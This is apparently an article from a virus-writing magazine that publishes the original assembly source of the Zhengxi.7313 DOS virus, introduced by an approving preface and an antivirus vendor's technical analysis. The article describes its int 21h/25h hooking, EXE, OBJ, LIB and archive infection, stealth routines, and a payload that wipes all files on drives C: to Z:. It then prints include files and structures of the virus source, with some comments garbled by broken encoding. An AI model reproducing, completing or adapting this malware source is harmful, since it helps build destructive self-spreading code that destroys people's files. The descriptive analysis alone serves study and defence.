The Zhengxi.7313 virus: original source code
H0l0kausT Issue 1
At last... the source of the most complex virus ever is published in a virus magazine. And we're glad that the fortunate magazine is 29A :) You are stepping with the reader cool smooth scroll through the original source code of the best of the three versions (7271, 7307, 7313) of Zhengxi. This source code, as the compiled version of the virus itself, is quite hard to understand. Anyway, i decided to leave the source code 'as is', albeit some weeks ago i started making it up a bit and commenting some uncommented code so it would be more easy and clear to read. At last i decided to stop spending my time on this and give you the *truly* original source code, so you can know the way in which its author coded it, you can read the original comments (some of them in russian), and so on.
The original source code is formed by some ASI, ASM and INC files, which make the virus compiling harder than the virus coding itself :) That's why i included a ZIP which contains the compiled version of Zhengxi.7313.
I must give thanks to the author of this rocking virus because of the supermarvel he coded and for releasing the original source code (btw, he seems to have a great sense of humour :), and to the friend who gave this jewel to me, who wishes to remain anonymous. As a last thing, for those who still don't know what does Zhengxi do (!), here's a very good report about the Zhengxi virus family, written by Eugene Kaspersky, who, btw, should use the money he earns with AVP for taking some english classes :)
Zhengxi family
This is the family of very dangerous, polymorphic and stealth parasitic viruses. These viruses are more that 7k of length, very complex, maybe the most complex DOS viruses. These viruses infect EXE, OBJ and LIB files, and append COM droppers to ZIP, ARJ, HA, and RAR archives. The viruses contain the text strings:
Abnormal program termination
The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd
Warning! This program for internal use only!
Installation
The virus code receives the control from different points depending on the infection way, but in all cases the destination is the polymorphic decryption routine. In EXE files (appending) the decryption routine receives the control immediately when EXE file is loaded into the memory for execution; in EXE files (inserting), from the loader code (see EXE infection); in the files linked with infected OBJ/LIB files, from a call instruction (see OBJ/LIB infection); the COM droppers have a jmp instruction at their beginning, which brings the control to the decryption routine.
Being decrypted, the virus installation routines receives the control. The virus hooks int 1 (one step tracing), and traces int 21h. While tracing, the virus looks for some specific code within the int 21h handler (that code is present in DOS 5.x and DOS 6.x). If such code is found, the virus checks several conditions, and terminates installation in some cases. These cases are the ones below:
- Microsoft Windows is installed
- Boot drive is A: or B:
- Int 8, 13h, 28h point to the same segment (to exit installation if any antivirus monitor is installed?)
- Host file's day (date and time stamp) is the same or near the current day (if the two highest bits of current day number xored with the file day is equal to zero)
Then the virus allocates the block of the system memory for the virus TSR copy, stores in its body 11 bytes from the address of the int 21h handler and patches int 21h code with a far call instruction (2f ff 1e ?? ??), which brings the control to the int 25h handler (absolute disk read). Then the virus stores the first five bytes of int 25h handler and writes there other five bytes, which become the far jmp to the virus code. The result looks like follows:
int 21h handler:
... ...
⁄--------- 2e ff 1f ???? call far cs:int_25h
| c7 06 ???? ; Magic word?
| int_25h: ???? ???? ???? ???? ; Far addr of int 25h
| ... ...
|
¿> int 25h handler:
⁄--------- ea ???? ???? jmp far virus_handler
| ... ...
¿> virus handler:
2e 8f 06 ... pop cs:caller_ip
... ...
As result, the virus has the same handler to intercept both int 21h and int 25h calls. To separate these calls, Zhengxi checks the address of the caller (the caller_ip). If the call goes to the int 21h handler, the virus passes the control to its int 21h handler routine; in another case, the virus int 25h handler receives the control.
The installation routine is complete, but the virus can move its code to other memory blocks (see int 21h handler analysis). So, the TSR copy of the virus does not occupy the same blocks of the system memory, but may move itself to other addresses, including UMB ones.
Then the virus returns the control to the host program. There are three different variants of such return, and they depend on the infection method. In case of a COM dropper the virus just displays this message:
Abnormal program termination
And returns to DOS with the terminate function (int 21h, ah=4ch). In case of the EXE-appending infection method the virus restores the original file header by using its polymorphic engine (generates the polymorphic decryption routine, and executes it for restoring the original header (see EXE infection below). In case of the EXE-inserting way the virus just returns to the host program because the virus loader inserted into the file restores the original code itself. In case of being an OBJ/LIB file the virus also just returns to the host (see OBJ/LIB infection below).
Int 21h handler
Zhengxi intercepts 18 int 21h functions:
- 3dh, 6ch - Open/create file
- 3eh - Close file
- 3fh - Read file
- 42h - Lseek
- 4bh - File execution
- 41h - Delete file
- 11h, 12h - Findfirst/findnext FCB
- 4eh, 4fh - Findfirst/findnext ASCII
- 00h, 4ch - Terminate
- 31h - Terminate and stay resident
- 67h - Set handle count
- 48h, 49h, 4ah - Memory managing functions (allocate, free, resize)
The set handle count, file execution and memory managing functions are used by the virus to hide its code into the system memory (Zhengxi manipulates MCB blocks to remain invisible on the memory map while using memory browsing utilities).
While intercepting terminate, TSR and free memory DOS functions, Zhengxi moves its code to a new address in the system memory. The virus allocates a new memory block (may be a conventional or UMB memory block), and copies itself there. So, while installing, the virus does not affect UMB blocks to place its TSR copy, but then it may move into UMB, and hide itself there.
While file opening the virus performs several different calls. First, the virus checks the opening mode, and if the file is opened for writing, the virus disinfects the file.
Before disinfection the virus checks the file is being accessed, and the program that is accessing that file (the caller). The virus compares the name of this program or caller with a name list (see below), and does not disinfect the accessed file if the caller name is found in that list.
UUENCODE.EXE, PKLITE.EXE, LZEXE.EXE, NDD.EXE, DIET.EXE, AFD.EXE, SD.EXE SPEEDDSK.EXE, DEFRAG.EXE, TLINK.EXE, LINK.EXE
In case of the ah=3d00h function (open read-only) the virus performs some strange actions. It scans the caller code and patches it. It looks like patching some antivirus scanner. Fortunately, the virus has a bug, and that branch is never executed.
While opening the file, the virus also brings the control to its stealth routine: it replaces the file length with the original one.
While reading from a file, Zhengxi calls the stealth routine. In case of reading from the header of the infected file the virus reads, decrypts and copies the original header into the reading buffer.
In case of the lseek function the virus brings the control to other of its stealth routines: it doesn't allow to seek out of the original file length.
While deleting an infected file, the virus disinfects it.
While looking for files with findfirst/findnext, Zhengxi replaces the file length with the original one if the file is infected.
Findfirst/findnext ASCII calls are also used by the virus to catch files for infection. The virus saves the name of any file that is accessed with the findfirst function, and approximately each 5th file (with probability 3/16) accessed with the findnext function. The virus has only one buffer for the file name, so every next name overwrites the previous one.
While closing any file the virus checks and infects it with the name that that is stored in the buffer. The virus also infects the file that is being closed, but is does it with probability 1/4 (by the result of its random generator).
Infection
Before infecting a file, Zhengxi checks several conditions:
- The file is not "just created", by comparing the current day number with the file date and time stamp (as while installing itself)
- The file is local, and not on A: or B: drive
- The file name is not *.?V? (*.OVL)
- There is enough free disk space (it checks this with int 21h, ah=36h)
If all this is ok, the virus reads the file header and checks it for EXE, OBJ, LIB and archives stamps.
Infecting EXE files
Zhengxi infects EXE files by using three different infection methods: appending, inserting, and infecting archives in self-extracting files.
At first, the virus checks the file structure, and if it is a self-extracting EXE file (created by ZIP2EXE, for instance), Zhengxi infects it using the same method it uses when infecting archives (ZIP, ARJ, HA, RAR) that is, creating a COM dropper and adding it to the archive contents.
Then the virus checks the file length, and doesn't infect files with a length lesser than 400h (1024) bytes. If the length of the loadable modudule (note: not the file length) is larger that 32k, Zhengxi inserts its own loader int the middle of the file. In other case, it infects the file by the appending method.
While infecting files by the appending method, Zhengxi reads file header, encrypts and saves it to the end of the file. Then it runs its polymorphic generator, and saves the encrypted virus body and the polymorphic loops to the end of the file. For finishing the file infection, Zhengxi increases the file length to a value that divided by 9dh gives 25h as rest (this is the virus ID stamp, its infection mark), and modifies the EXE header fields (registers and module length).
Note: Zhengxi encrypts the original host header with the polymorphic encryption loop, and that loop is different that the routine it uses for encrypting the virus body. Then, the virus calls its polymorphic engine twice: while encrypting the original EXE header, and while encrypting the main body.
While executing an infected EXE file, the decryption loop restores the main virus body, but not original file header. To return to the host, the virus has to decrypt the host data, but the engine generates random loops with random selected encryption functions. To solve that problem, Zhengxi stores the initial random generator values while encrypting the host da- ta, and runs the polymorphic generator with the same values while decrypting those data. As result, the generator brings the same code which was used for encrypting the host header, and being executed, that routine de- crypts it.
Infecting EXE Files (inserting)
If the file length is above 32k, the virus seeks to the beginning of the EXE main module (just after EXE header), reads 6k of code, and looks for C/Pascal routines there. Usually C/Pascal routines begin from the same "header" that saves the BP register, and moves the stack pointer to BP.
Zhengxi scans the code for those "headers" and, if such code is found, the virus scans the next 54h bytes of code for a ret or a call far instruction to prevent an overlap of the next subroutine, or relocated ad- dress. If such code (ret or call far) is found, the virus exits from its infection routine.
Then the virus reads 54h bytes of that routine, overwrites it with the code of its loader, and then encrypts the main virus body with its polymorphic engine, and saves it to the end of the file. Then Zhengxi encrypts with a simple sub function the original subroutine code and the second part of the loader, and saves it to the end of the file. Then the virus writes the random data to the end of the file in the same way as in the "appending" infection method.
Not infected Infected
------------ --------
⁄--------------ø ⁄--------------ø
|EXE header | |EXE header |
√--------------¥ √--------------¥
|Main EXE code | |Main EXE code |
√--------------¥ √--------------¥
|C/Pascal subr √--ø |Virus loader | Part 1, 52h bytes, not encrypted
√--------------¥ | √--------------¥
| | | |Main EXE code |
| | | |(continued) |
¿--------------Ÿ | √--------------¥
| |Virus | Encrypted with polymorphic loops
| √--------------¥
| |Virus loader | Part 2, encrypted with sub
| √--------------¥ 70h bytes
¿->|Saved code | Original code of the patched subr,
√--------------¥ 52h bytes, encrypted with sub
|Random data | File length/9dh, the rest is 25h
¿--------------Ÿ
Being executed, the loader looks for the host file name by using the PSP fields, opens the file, seeks to the file end, then reads, decrypts and executes the second part of the dropper. This part restores the patched subroutine, allocates system memory (conventional or UMB), reads the main virus body, and passes the control to the decryption polymorphic loop. That loop decrypts the virus body, and passes the control to Zhengxi's installation routine.
This is a very insidious infection way. The virus code is hidden in the file, and there is no direct entry to the virus code from the file head- er. The subroutine replaced with virus loader may be a "seldom-executed" one. For instance, a subroutine which displays an error message. So the virus may "sleep" in such files for a long time, and then jump out and infect the system under some limited conditions.
Infecting archives
In case of having to infect an archive, Zhengxi builds in memory the infected COM dropper image, and appends it to the archive. Those COM droppers always begin with a jmp instruction followed by random data, the encrypted virus code and the decryption polymorphic loop. The jmp instruction brings the control to this decryption loop.
The name of the COM dropper is random selected and finished with a .COM extension, for instance: HAIF.COM, UCM.COM, DOO.COM, VLG.COM, and so on.
While processing the archive fields, Zhengxi does not use any external utility, but fills by itself all the necessary fields. The virus does not pack the dropper: it uses the "stored" method (the virus is stored in the archive "as is"). While infecting, Zhengxi checks the contents of the archives, and does not infect them twice.
Infecting OBJ and LIB files
While infecting OBJ/LIB modules, Zhengxi checks the fields of the file, creates, and inserts there a new object record which contains the viral code, encrypted with two polymorphic loops.
While scanning object files, the virus checks the code of these files for a C/Pascal subroutine "header" as well as while inserting into EXE files, and infects the files only if that code is found. But if the OBJ or the LIB module doesn't contain such code, the virus does not drop the loader code there, but overwrites a C/Pascal header with a call instruction.
Being linked to an executable file, that call brings the control to the virus polymorphic decryption loop. That loop decrypts the viral code and passes the control to the virus installation routine.
As well as in EXE files (inserting), that call may never receive the control, so Zhengxi may sleep for a long time. But under some conditions the virus may jump out and infect the system.
Int 25h handler
This handler carries out the stealth routine on int 25h level. While accessing to the directory entries, the virus substitutes the file length with the original one. While reading the header of an infected file, the virus restores and brings it in its original form.
The virus doesn't stealth 100% on int 25h level, of course. There are several ways to bypass this stealth routine. But if some antivirus program reads the file contents via int 21h DOS functions, then it reads the di- rectory structure and then the file contents by absolute int 25h calls, and Zhengxi remains completely invisible.
Trigger routine
If while processing a ZIP file Zhengxi finds some record packed with the "stored" method, it checks the ZIP file date and time stamp. If the year of last modification of that file is 1996 or above, Zhengxi will look for all the files of all the directories on all the disks (from C: till Z:), and delete them (the files and whole subdirectory tree).
--¥ Zhengxi code √-------------------------------------------------------
Structure of archive block (low order byte first):
arj_hdr_struc struc
arj_header_id dw ? ; 0;=EA60 2 header id (comment and local
; file) = 0xEA60 or 60000U
arj_bas_hdr_size dw ? ; 2;=28 ? 2 basic header size (from
; 'first_hdr_size' thru 'comment' below)
;= first_hdr_size + strlen(filename) + 1
;+ strlen(comment) + 1
;= 0 if end of archive
arj_first_hdr_size db ? ; 4;1E 1 first_hdr_size (up to extra data)
arj_ver_num db ? ; 5;06 1 archiver version number
arj_min_ver db ? ; 6;01 1 min. archiver version to xtract
arj_host_OS db ? ; 7;00 1 host OS (0 = MSDOS, 1 = PRIMOS,
; 2 = UNIX, 3 = AMIGA, 4 = MACDOS)
arj_flags db ? ; 8;10 1 arj flags (0x01 = GARBLED_FLAG)
; indicates passworded file
; ; (0x02 = RESERVED)
; ; v- no inf.vol.files, detect it as already
; ; (0x04 = VOLUME_FLAG) indicates continued
; file to next volume
; ; (0x08 = EXTFILE_FLAG) indicates file
; starting position field
; ; (0x10 = PATHSYM_FLAG) path translated
arj_compres_method db ? ; 9;00 1 method (0 = stored, 1 = compressed
; most ... 4 compressed fastest)
arj_file_type db ? ; A;00 1 file type (0 = binary, 1 = text
; 2 = comment header)
arj_reserved db ? ; B;'Z' 1 reserved
arj_file_time dw ? ; C; 4 date time stamp modified
arj_file_date dw ? ; E; 4 date time stamp modified
arj_compressed_size dd ? ;10; 4 compressed size
arj_original_size dd ? ;14; 4 original size
arj_CRC32 dd ? ;18; 4 original file's CRC
arj_entryname_pos dw ? ;1C;0 2 entryname position in filename
arj_file_access_mode dw ? ;1E;0 2 file access mode
arj_host_data dw ? ;20;0 2 host data (currently not used)
;22;
? filename (null-terminated)
? comment (null-terminated)
4 basic header CRC
2 1st extended header size (0 if none) = 0
? compressed file
ends
ha_main struc
hasign db 'HA'
filecnt dw ?
ends
ha_file_hdr struc
ha_ver_method db 20h ; 0
ha_compress_size dd ? ; 2
ha_original_size dd ? ; 6
ha_CRC32 dd ? ; A
ha_file_time dw ? ; E
ha_file_date dw ? ; 10
ha_path dw ? ; '/', '.', '+' ; 12 db
ends ; 14
ha_name equ ha_path+size ha_path
+1 name
+n 00h
+1 length of machine specific information
+1 machine specific information
2,1,20
machine specific information :
0000 type
0001 information
rar_main_hdr struc
rar_head_crc dw ?
rar_head_type db 73h
rar_head_flags dw ?
0x01 - Volume attribute (archive volume)
0x02 - Archive comment present
0x04 - Archive lock attribute
0x08 - Solid attribute (solid archive)
0x10 - Unused
0x20 - Authenticity information present
rar_head_size dw ?
rar_reserved1 dw ?
rar_reserved2 dd ?
ends
Comment block present if (HEAD_FLAGS & 0x02) != 0
rar_file_hdr struc
rar_f_head_crc dw ? ; 0
rar_f_head_type db 74h ; 2
rar_f_head_flags dw ? ; 3
0x01 - file continued from previous volume
0x02 - file continued in next volume
0x04 - file encrypted with password
0x08 - file comment present
(HEAD_FLAGS & 0x8000) == 1, because full
block size is HEAD_SIZE + PACK_SIZE
rar_f_head_size dw ? ; 5
rar_compressed_size dd ? ; 7
rar_original_size dd ? ; B
rar_host_os db 0 ; F
rar_crc32 dd ? ;10
rar_file_time dw ? ;14
rar_file_date dw ? ;16
rar_req_ver db 15d ;18
rar_method db 30h ;19
rar_fname_size dw ? ;1A
rar_file_attrib dd ? ;1C
ends ;20
FILE_NAME File name - string of NAME_LEN bytes size
Comment block present if (HEAD_FLAGS & 0x08) != 0
???? Other extra included blocks - reserved for future use
zip_local_header struc
zip_loc_sign db 'PK' ; 0
zip_ver_ned_to_extr dw ? ; 4
zip_flags dw ? ; 6
zip_compression_method dw ? ; 8
zip_file_time dw ? ; A
zip_file_date dw ? ; C
zip_crc_32 dd ? ; E
zip_compressed_size dd ? ; 12
zip_uncompressed_size dd ? ; 16
zip_size_fname dw ? ; 1A
zip_extra_field_length dw ? ; 1C
ends ; 1E
filename (variable size)
extra field (variable size)
zip_central_header struc
zip_centr_sign_ db 'PK' ; 0
zip_ver_made_by_ dw ? ; 4
zip_ver_ned_to_extr_ dw ? ; 6
zip_flags_ dw ? ; 8
zip_compression_method_ dw ? ; A
zip_file_time_ dw ? ; C
zip_file_date_ dw ? ; E
zip_crc_32_ dd ? ; 10
zip_compressed_size_ dd ? ; 14
zip_uncompressed_size_ dd ? ; 18
zip_size_fname_ dw ? ; 1C
zip_extra_field_length_ dw ? ; 1E
zip_file_comment_length_ dw ? ; 20
zip_disk_number_start_ dw ? ; 22
zip_intrnl_file_attr_ dw ? ; 24
zip_extrnl_file_attr_ dd ? ; 26
zip_rel_off_of_loc_hdr_ dd ? ; 2A
ends ; 2E
filename (variable size)
extra field (variable size)
file comment (variable size)
zip_end_header struc
end_file_hdr_sign db 'PK' ; 0
num_of_this_disk dw ? ; 4
num_of_the_start_disk dw ? ; 6
ttl_num_of_ent_on_this_disk dw ? ; 8
ttl_num_of_ent_in_the_cent_dir dw ? ; A
size_of_the_central_directory dd ? ; C
off_of_strt_of_cent_directory dd ? ; 10
zipfile_comment_length dw ? ; 14
ends ; 16
zipfile comment (variable size)
seg_attr RECORD SA_A:3, SA_C:3, SA_B:1, SA_P:1
MODEND = 08Ah
SEGDEF = 098h
FIXUPP = 09Ch
LEDATA = 0A0h
extrn dosseek_cx_0:near
objrec struc
rectype db ?
recsize dw ?
UNION
STRUC
segattr db ?
segsize dw ?
ENDS
STRUC
dataidx db ?
dataorg dw ?
ENDS
ENDS
ENDS
LIB_DICTIONARY_ENTRY_SIZE = 200h
lib_hdr struc
lib_hdr_type db 0F0h
lib_hdr_recsize dw ?
lib_hdr_dict_offs dd ?
lib_hdr_dict_size dw ?
lib_hdr_flags db ?
lib_hdr_padding db 10h-lib_hdr_padding dup (?)
ends
;MRORW MACRO w1, shval
;PUSHSTATE
;.386
; dw ((w1 and 0FFFFh) shr (shval and 0Fh)) or ((w1 and 0FFFFh) shl
; (10h-(shval and 0Fh)))
;POPSTATE
;ENDM
CRC32w MACRO moreshit
PUSHSTATE
.386
LOCAL cum_crc, byt, suxx
cum_crc = 0FFFFFFFFh
IRP _byt, <moreshit>
byt = _byt xor (cum_crc and 0FFh)
cum_crc = (cum_crc shr 8) and 0FFFFFFh
REPT 8
IF byt and 1
byt = (byt shr 1) xor 0EDB88320H
ELSE
byt = byt shr 1
ENDIF
ENDM
cum_crc = cum_crc xor byt
ENDM
cum_crc = not cum_crc
suxx = (((cum_crc shr 16) and 0FFFFh) shr (cum_crc and 0Fh)) or \
(((cum_crc shr 16) and 0FFFFh) shl (10h-(cum_crc and 0Fh)))
suxx = (suxx + cum_crc) and 0FFFFh ; add dx, cx
dw suxx
POPSTATE
ENDM
cmp_ax_CRC32w MACRO moreshit
db 3Dh
CRC32w <moreshit>
ENDM
.286
%NOINCL
%NOSYMS
.SFCOND
.XCREF
.SALL
locals
USE_PUSHA equ 0
RELIZ equ 0
USE_BEEP equ 0
$BEEP$ macro
IFDEF USE_BEEP
extrn beep:near
call beep
ENDIF
endm
---------------------------------------------------------------------------
INCLUDE SF.INC ;\
INCLUDE FIND.INC ;|
INCLUDE EXE.INC ;> ®ß ®·ÂƧ≠®™Æ¢ MS-DOS 3.30
INCLUDE PDB.INC ;|
INCLUDE DPB.INC ;|
INCLUDE DIRENT.INC ;|
INCLUDE ARENA.INC ;/
---------------------------------------------------------------------------
INCLUDE STAR14T.INC
INCLUDE ABSDISK.INC
INCLUDE ARXHDRS.ASI
INCLUDE SHMAC.INC
INCLUDE CRC.ASI
---------------------------------------------------------------------------
GLOBAL RND_INIT:near, \
RND_GET:near, \ randomizer
RND_GET_THREE_BITS:near, \
RND_GET_BYTE:near
---------------------------------------------------------------------------
---------------------------------------------------------------------------
RegWord ENUM R_AX, R_CX, R_DX, R_BX, R_SP, R_BP, R_SI, R_DI
RegByte ENUM R_AL, R_CL, R_DL, R_BL, R_AH, R_CH, R_DH, R_BH
secondbyte RECORD M0D:2, REG:3, R_M:3
asgrbl RECORD N :1, \
REG_GARBL3 :1, \ ‡•£®·‚‡Î
REG_GARBL2 :1, \ ≠• ®·ØÆ´Ïß„•¨Î•
REG_GARBL1 :1, \ §´Ô ‡†·Ë®‰‡Æ¢™®
REG_TMP2 :1, \ §´Ô ™Æ≠·‚†≠‚
REG_TMP1 :1, \
REG_ENC :1, \
REG_INDEX :1 ; „™†ß†‚•´Ï ≠† Ë®‰‡„•¨Æ• ·´Æ¢Æ
REG_GARBL_ALL = MASK REG_GARBL1 or \ ‡•£®·‚‡Î
MASK REG_GARBL2 or \ ≠• ®·ØÆ´Ïß„•¨Î•
MASK REG_GARBL3 ; §´Ô ‡†·Ë®‰‡Æ¢™®
REG_ENC_ALL = MASK REG_ENC or \ ‡•£®·‚‡Î
MASK REG_TMP1 or \ ®·ØÆ´Ïß„•¨Î•
MASK REG_TMP2 ; §´Ô ‡†·Ë®‰‡Æ¢™®
REG_ALL = MASK REG_INDEX or \ ¢·• ‡•£®·‚‡Î (™‡Æ¨• SP)
REG_ENC_ALL or \
REG_GARBL_ALL ;
-current-not-used----------------------------------------------------------
ENFLAGS RECORD EN_SAVE_REGS :1, \ ·Æ‡†≠Ô‚Ï ‡•£®·‚‡Î Ø•‡•§ ‡†·Ë®‰‡Æ¢™Æ©
EN_USE_INT :1, \ •≠™Æ§®‚Ï Ø‡•‡Î¢†≠®Ô
EN_USE_CALL :1, \ •≠™Æ§®‚Ï Ø‡ÆÊ•§„‡Î ® JMP near
EN_USE_JMPS :1, \ •≠™Æ§®‚Ï „·´Æ¢≠Ε Ø•‡•ÂƧÎ
EN_INT_GARBL :1, \ ¨†´Æ ´•¢Î ®≠·‚‡„™Ê®© ¢ ‡†·Ë®‰‡Æ¢È®™•
EN_RELOCATOR :1, \ Æ؇•§•´Ô‚Ï ·¢Æ• Øƴƶ•≠®• ¢ ؆¨Ô‚®
EN_BFR_GARBL :2
---------------------------------------------------------------------------
ENFLAGS_ARX = MASK EN_RELOCATOR or \
MASK EN_USE_INT or \
MASK EN_USE_JMPS or \
MASK EN_USE_CALL or \
(3 shl EN_BFR_GARBL) ;
---------------------------------------------------------------------------
‰´†£® §´Ô ¢®‡„·† ¢ EXE‰†©´•
ENFLAGS_EXE = MASK EN_USE_INT or \
MASK EN_USE_JMPS or \
MASK EN_USE_CALL or \
(3 shl EN_BFR_GARBL) ;
---------------------------------------------------------------------------
ENFLAGS_HDR = MASK EN_INT_GARBL or \
MASK EN_RELOCATOR or \
MASK EN_SAVE_REGS
---------------------------------------------------------------------------
‰´†£® §´Ô ¢®‡„·† ¢ EXE‰†©´• c podgruzkoi
ENFLAGS_IXE = MASK EN_USE_JMPS or \
MASK EN_USE_CALL or \
MASK EN_RELOCATOR or \
MASK EN_SAVE_REGS or \
(2 shl EN_BFR_GARBL) ;
---------------------------------------------------------------------------
‰´†£® §´Ô ¢®‡„·† ¢ OBJ‰†©´•
ENFLAGS_OBJ = MASK EN_INT_GARBL or \
MASK EN_SAVE_REGS or \
MASK EN_USE_CALL or \
MASK EN_RELOCATOR or \
(1 shl EN_BFR_GARBL) ;
---------------------------------------------------------------------------
‰´†£® §´Ô ¢®‡„·† ¢ OBJ‰†©´•
ENFLAGS_OBJ = MASK EN_INT_GARBL or \
MASK EN_SAVE_REGS or \
MASK EN_RELOCATOR
---------------------------------------------------------------------------
ÆؙƧÎ
opNOP equ 90h
opPUSHF equ 9Ch
opINT equ 0CDh
opCALL equ 0E8h
opJMPN equ 0E9h
opJMPS equ 0EBh
opSEGCS equ 2Eh
opSEGES equ 26h
opRETN equ 0C3h
opRETF equ 0CBh
opJMPFAR equ 0EAh
opMOV_AHimm equ 0B4h
opPUSH_CS equ 0Eh
opPUSHA equ 60h
opPOPA equ 61h
opJC equ 72h
opJZ equ 74h
opPOP_AX equ 58h
opPUSH_AX equ 50h
opCMP_AXimm equ 3Dh
opCMP_ALimm equ 3Ch
---------------------------------------------------------------------------
¨®≠®¨†´Ï≠Ω ® ¨†™·®¨†´Ï≠Ω ‡†ß¨•‡Î ߆‡†¶†•¨Î EXEË≠®™Æ¢
MININFECTSIZE equ 400h ; 1k
MAXINFECTSIZE equ 80000h ;512k
---------------------------------------------------------------------------
INTERVAL_INFECT = 2
INCUB_TIME = 3 ;14 sec
VIRUSSTACKSIZE equ 0D0h
TIMEMARKER equ 1
SIZEMARKER equ 157d
SIZEMARKER_MOD equ 37d
CRYPTLEVEL equ 50h ;¨†™·®¨†´Ï≠Æ ¢Æߨƶ≠Ω (!)
DOUBLEENCRYPT equ 80h
HDRCRYPTLEVEL equ 4Fh
EXECRYPTLEVEL equ 23h ;+DOUBLEENCRYPT
IXECRYPTLEVEL equ 29h
ARXCRYPTLEVEL equ 27h+DOUBLEENCRYPT
OBJCRYPTLEVEL equ 1Fh
IRP EXT, <ARX,EXE,IXE,OBJ,HDR>
zmefl&EXT equ (&EXT&CRYPTLEVEL shl 8) or ENFLAGS_&EXT
ENDM
UNINIT equ 1111h
ZIP_SIGN = 4B50h
ARJ_SIGN = 60000d
RAR_SIGN = 6152h
HA_METHOD_STORED = 20H
ARJ_METHOD_STORED = 0
ZIP_METHOD_STORED = 0
RAR_METHOD_STORED = 30h
ZIP_LCL_ID = 403h
ZIP_CNL_ID = 201h
ZIP_END_ID = 605h
CRLF equ <0Dh,0Ah>
---------------------------------------------------------------------------
dword_shit struc
lo dw ?
hi dw ?
ends
dword_shit struc
union
lo dw ?
struc
l db ?
h db ?
ends
ends
hi dw ?
ends
---------------------------------------------------------------------------
ifInfJump macro whatest, execut
extrn IfInfect&whatest:near
lea di, execut
call IfInfect&whatest
endm
---------------------------------------------------------------------------
probability_test macro variabl, glb_pr, go_to
local __1
extrn variabl:byte
call RND_GET_BYTE
cmp ah, byte ptr ds:[variabl]
jae __1
cmp al, glb_pr
__1:
jae go_to
endm
prALWAYS = -1
---------------------------------------------------------------------------
ENGBUFFER STRUC ;
UNION
STRUC ;
zmeflags ENFLAGS ?
cur_cryptlevel db ?
ENDS
zmefl dw ?
ENDS
datasize dw ?
jmp_after_decrypt dw ?
targetptr dw ?
segm_IDT db ?
cJMP_patch dw ?
nJMP_patch dw ?
begin_sub dw ?
end_of_jmp dw ?
start_reg2 dw ?
start_reg3 dw ?
loop_top dw ?
lastgarble db ?
lastchoose db ?
decryptor_size dw ?
relocator_base dw ?
reloff_1 dw ?
reloff_2 dw ?
value_J dw ?
value_X dw ?
value_Y dw ?
useregs asgrbl ?
IRPC NR, 0123456
reg&NR RegWord ?
ENDM
ENDS
---------------------------------------------------------------------------
all_memory_size_p=400h ;16k in memory :)
all_memory_size_p=700h ;20k in memory :(
HDRBUFSIZE = 22h
hp equ (bp-80h)
WORKBUFFER STRUC
UNION
STRUC ;infect ARX
_arx_crc dd ?
_fnamestr db 12d dup (?)
_hafcount dw ?
ENDS
STRUC ;infect OMF
_siz98 dw ?
_posA0 dd ?
_sizA0 dw ?
_lib_dict_offset dw ?
ENDS
STRUC
UNION
STRUC ;func 4B
_load_fname dw ?
_load_array dw ?
ENDS
STRUC ;func 3F
_rd_st_cnt dw ?
_st_rd_off dw ?
_beg_pos_lo dw ?
ENDS
ENDS
UNION
_saved_seek dd ? ;for restore header etc
STRUC ;stealth int25
_start_sec dd ?
_abs_read_drive db ?
ENDS
ENDS
ENDS
ENDS
_host_arx_date dw ? ; §‰‚† ߆‡†¶†•¨Æ£Æ ‰†©´†
_host_arx_time dw ? ; §‰‚† ߆‡†¶†•¨Æ£Æ ‰†©´†
_beg_pos dd ? ;use in "f_insert"
_pos98 dd ?
_fisize dw ?
_fioff dw ?
_fnamesize dw ?
_crthdr db 40h dup (?)
_last_infect_time dw ?
_hook dw ?
_close_on_error db ? ;if 1, doserror-> close file
_save_sp dw ?
_save_ss dw ?
_after_goto dw ?
_five_bytes db 5 dup (?)
_turn_name_crc dw ?
_engdata ENGBUFFER ?
_exehdr db HDRBUFSIZE dup (?)
_dataencriptor dd CRYPTLEVEL dup (?)
_for_ret db ?
ENDS
_hahdr equ _exehdr
_ziphdr equ _exehdr
_arjhdr equ _exehdr
_rarhdr equ _exehdr
_objhdr equ _exehdr
_libhdr equ _exehdr
_sfxhdr equ _exehdr
_shift_buffer equ _exehdr
To_hp MACRO some_label
some_label equ (hp+_&some_label&)
ENDM
To_hp host_arx_date
To_hp host_arx_time
To_hp hook
To_hp last_infect_time
To_hp close_on_error
To_hp after_goto
To_hp lib_dict_offset
To_hp hafcount
To_hp saved_seek
To_hp start_sec
To_hp abs_read_drive
To_hp beg_pos
To_hp arx_crc
To_hp load_fname
To_hp load_array
To_hp rd_st_cnt
To_hp st_rd_off
To_hp beg_pos_lo
To_hp fnamestr
To_hp pos98
To_hp siz98
To_hp posA0
To_hp sizA0
To_hp fisize
To_hp fioff
To_hp fnamesize
To_hp engdata
To_hp crthdr
To_hp exehdr
To_hp save_sp
To_hp save_ss
To_hp five_bytes
To_hp turn_name_crc
To_hp hahdr
To_hp ziphdr
To_hp arjhdr
To_hp rarhdr
To_hp objhdr
To_hp libhdr
To_hp sfxhdr
To_hp shift_buffer
PURGE To_hp
include zurich.asi
code segment byte public
assume cs:code, ds:code, es:code, ss:code
IFDEF USE_BEEP
public beep
beep proc
call beep1
beep endp
beep1 proc
push cx ax
mov al, 3
out 61h, al
REPT 2
loop $
ENDM
mov al, 0
out 61h, al
pop ax cx
ret
beep1 endp
ENDIF
ends
end
include shmac.inc
include star14t.inc
code segment public byte
assume cs:code
public Calculate_CRC
public Calculate_CRC5
-+----------------------------------------------------------+-
ds:si=ptr
di=size
return: cx:dx=crc32
-+----------------------------------------------------------+-
Calculate_CRC5:
mov di, 5
Calculate_CRC:
cld
push bx
mov cx, -1
mov dx, cx
DO
xor ax, ax
xor bx, bx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
DO
shr bx, 1
rcr ax, 1
DOIF C
xor ax, 08320H
xor bx, 0EDB8H
DONE
dec dh
CYCLE NZ
xor cx, ax
xor dx, bx
dec di
CYCLE NZ
not dx
not cx
pop bx
mov ax, dx
ror ax, cl
add ax, cx
ret
-+----------------------------------------------------------+-
ends
end
INCLUDE ZURICH.ASI
code segment byte public
assume cs:code, ds:code, es:code, ss:code
.DATA
public vir_heap, StealthName, start_data
public dataencriptor
public heap
public InfectTurn
public zip_h
public arj_h
public five_bytes
zip_h dw ZIP_SIGN, ZIP_LCL_ID, 14h
arj_h dw ARJ_SIGN, 31Eh
start_data:
vir_heap:
WORKBUFFER ?
dataencriptor dd CRYPTLEVEL dup (?)
for_ret db ?
StealthName db 80h dup (?)
InfectTurn db 80h dup (?)
pblabel continue21
db 11d dup (?)
